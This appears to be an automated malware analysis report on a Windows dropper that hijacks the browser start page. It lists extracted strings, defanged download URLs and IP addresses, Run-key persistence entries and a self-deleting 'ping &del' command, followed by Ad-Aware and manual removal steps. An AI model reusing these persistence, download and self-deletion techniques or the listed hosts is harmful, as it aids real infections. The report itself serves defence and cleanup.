cmd /c ping 127.0.0.1 -n 2&del

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows

%Program Files%\Windows Media Player\comine.exe

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page

%Program Files%\Internet Explorer\iexplore.exe

WindowStyle

Hotkey

serv.dat

ll5266.exe_664:

.text

`.rdata

@.data

KERNEL32.dll

EnumWindows

USER32.dll

RegCloseKey

RegOpenKeyExA

ADVAPI32.dll

WS2_32.dll

MSVCP60.dll

MSVCRT.dll

DeleteUrlCacheEntry

WININET.dll

URLDownloadToFileA

urlmon.dll

hXXp://623968.6600.org:99/3.htm

201411261939

124.232.158.160

dk.23145.com

Applications\iexplore.exe\SHELL\OPEN\COMMAND

%s?%c%c%c%c%c

%s%c%c%c%c%c.htm

hXXp://VVV.ok1500.com/

hXXp://VVV.fmk268.com/

hXXp://VVV.021wb.com/

hXXp://115.231.231.61:155/

124.232.141.61

seo5266.exe_1180:

.text

.data

.rsrc

.aspack

.adata

2014919

ieframe.dll

SHDocVwCtl.WebBrowser

WebBrowser

shell32.dll

ShellExecuteA

wininet.dll

RegisterHotKey

UnregisterHotKey

VBA6.DLL

%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB

!Web1

%System%\ieframe.oca

cmdStop

Webdata

cmdMana

lblURL

urlmon.dll

UrlMkSetSessionOption

user32.dll

GetWindowsDirectoryA

winmm.dll

keybd_event

MapVirtualKeyA

EnumWindows

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

DeleteUrlCacheEntryA

advapi32.dll

RegCloseKey

RegCreateKeyExA

RegOpenKeyExA

advapi32.dll

RegDeleteKeyA

<,.yU

vurl

MSVBVM60.DLL

kernel32.dll

The procedure entry point %s could not be located in the dynamic link library %s

The ordinal %u could not be located in the dynamic link library %s

msvbvm60.dll

@isual Studio\VB98\C2.EXE

@isual Studio\VB98\C2.EXE.Manif

@ual Studio\VB98\C2.EXE.Manifes

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections

wscript.shell

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

hXXp://60.173.26.44:6666/Getnews.asp?t=

hXXp://

window.alert=null;

window.confirm=null;

window.showModalDialog=null;

window.open=null;

hXXp://VVV.baidu.com/

hXXp://VVV.so.com/

http=

Software\Microsoft\Windows\CurrentVersion\Internet Settings\

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\

hXXp://VVV.51proxied.com/http_non_anonymous.html

8.00.0002

2014919.exe

iexplore.exe_1820:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   comine.exe:1376
   ll5266.exe:664
   %original file name%.exe:644
   awx5266.exe:568
   dh5266.exe:1360
   cccccc.exe:1388
   ping.exe:2000

2. Delete the original Dropped file.
   
3. Delete or disinfect the following files created/modified by the Dropped:
   

   %WinDir%\spolsv.exe (601 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2TYR8BIN\conime5266[1].exe (8084 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8HQTA5YJ\awx5266[1].exe (16073 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2TYR8BIN\desktop.ini (67 bytes)
   %WinDir%\Help\dh5266.exe (3343 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8HQTA5YJ\dh5266[1].exe (10369 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EFQX0RSV\desktop.ini (67 bytes)
   %WinDir%\Help\ll5266.exe (24 bytes)
   %WinDir%\Help\conime5266.exe (576 bytes)
   %WinDir%\Help\awx5266.exe (10570 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2TYR8BIN\ll5266[1].exe (2907 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\8HQTA5YJ\desktop.ini (67 bytes)
   %System%\drivers\etc\hosts (402 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\YJOFEZGX\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EFQX0RSV\iplookup[1].htm (203 bytes)
   %Program Files%\Windows Media Player\comine.exe (61 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "conime" = "%WinDir%\spolsv.exe"
   
   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Windows" = "%Program Files%\Windows Media Player\comine.exe"

5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
   127.0.0.1 localhost
   
6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
7. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.